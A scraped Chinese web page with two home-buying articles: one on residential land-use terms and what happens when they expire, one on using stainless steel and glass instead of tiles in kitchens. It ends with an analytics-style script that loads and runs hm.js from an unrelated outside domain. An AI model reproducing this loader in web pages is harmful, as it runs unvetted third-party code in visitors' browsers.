房屋使用年限是什么？使用年限到期后怎么办

在购买房屋时，不管是新房还是二手房，业主都会关心的一个问题就是房屋使用年限，当然，在购买时，一般都由房管所或者售楼部告诉购买者房屋使用年限的具体时限。按以往规定，普通的住宅地使用年限仅为70年，那么老房子的使用年限随着时间流逝越来越短，这就产生了一个问题，房屋使用年限到期怎么办?今天小编就给大家详细介绍下关于房屋使用年限的问题。房屋使用年限是什么?1、允许延长土地使用权期限。可以由房屋业主联名提出，补交土地出让金，这个价格应该低于同类的土地出让金的价格，类似于成本价和市场价的差额。至于再次申请的期限，不应该超过30年。2、国家收回土地和地上建筑物，对业主进行补偿。3、用类似拆迁安置的办法解决。通过调查了解第一种方法得到大家的普遍认可，也有一部分人认为房子根本就住不到70年就会拆迁。房屋使用年限到期后怎么办?如果房子下面的土地使用年限到期，国家会对土地上面的房层给于一定的补偿，然后把土地收回去，重新卖;或者户主继续使用此土地，但是是需要以当时地价来补地价。房屋使用年限从什么时候开始计算?房子的房龄自房屋竣工验收合格交付使用之日起开始计算房屋的年限，但土地使用权却是从开发商拿到土地之日起算，如房子盖了3年，业主就只有67年的土地使用权了，如果又空置了2年，就只有65年了。所以买房人在买房时，不光要看房屋的房龄、地段、交通等，还要看土地所有权期限。小编提示：在进行二手房的选择中，如果希望得到银行贷款，就更加要关注房龄和土地使用年限了。如果单看房龄忽视了土地使用年限也可能影响贷款的办理，房屋使用年限是多久?国家规定国有土地使用年限根据房屋使用性质而定：(一)居住用地七十年;(二)工业用地五十年;(三)教育、科技、文化、卫生、体育用地五十年;(四)商业、旅游、娱乐用地四十年;(五)综合或者其他用地五十年。买房人在进行买房时，切不可对房屋使用年限不给予关注，房屋土地使用权牵涉到购房者可以在此房子居住的剩余年限，以及房屋的最终价值等等，在购房时，购买者切不可混淆概念，粗心大意，以致产生不必要的问题。如果房屋使用年限到期后，购房者可去房管所等部门询问相关政策，并按国家最新规定处置办理。

为什么年轻人们装修厨房不用瓷砖了？

如今许多年轻人在对厨房进行装修时，墙面装修已经不再使用瓷砖了。很多父母不理解，年轻人们为什么厨房不用瓷砖装修。因为这已经是一种比较古板的装修方式了。事实上，现在许多年轻人喜欢自己设计房屋装修，厨房不用瓷砖，而是使用不锈钢新型材料与强化玻璃玻璃材质进行装修，这种风格的材料更加具有现代化气息与科技感，清洗更方便，因此才在年轻人中间流行。年轻人装修时厨房不用瓷砖，反而用以下几种材料，父母们也可以学习一下这些材料的特点。一、不锈钢新型材料。不锈钢耐用耐磨，便于清洁又安全防火，颜色是冷色调，具有工业风和科幻感，被硬物碰到的时候，外表不容易修复，如果厨房不用瓷砖，而使用不锈钢材料装修的话，一般设计师会建议，将材料应用在靠近炉具的墙面四周，清洗起来十分方便。不锈钢也适合应用在一些装饰性的场合，同时需要注意避免留下难看的刮痕。另外，安装时，需要注意管线配置和安全措施，因不锈钢材料具有导电性。二、强化玻璃。玻璃材质适合用在小面积或光线充足的厨房，当油烟附着在玻璃上，用清洁剂轻轻擦拭就可以清除，材质以强化玻璃为主，在安装时，需要注意采用光滑面安装。如果厨房不用瓷砖，而使用强化玻璃，一般适合应用一些非主墙的墙面上，因为其穿透性很好。此外，小面积厨房不用瓷砖，安装玻璃材质还能够扩大视觉空间。高透光的玻璃以及其折射性质，能够让室外光源照射进空间内，营造出一种自然明亮的舒适感。玻璃墙后还可以藏设灯源，在夜里能给人一种光彩晶莹的时尚感，同时也可用做照明。一些年轻人厨房不用瓷砖，更喜欢彩绘玻璃或玻璃砖，能制作出玻璃墙一般的效果。现在很多年轻人装修厨房不用瓷砖，而使用不锈钢与强化玻璃，理由大多是外观好看，并且清洗方便，喜欢这种装修风格的业主，也可以试试看哦! var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();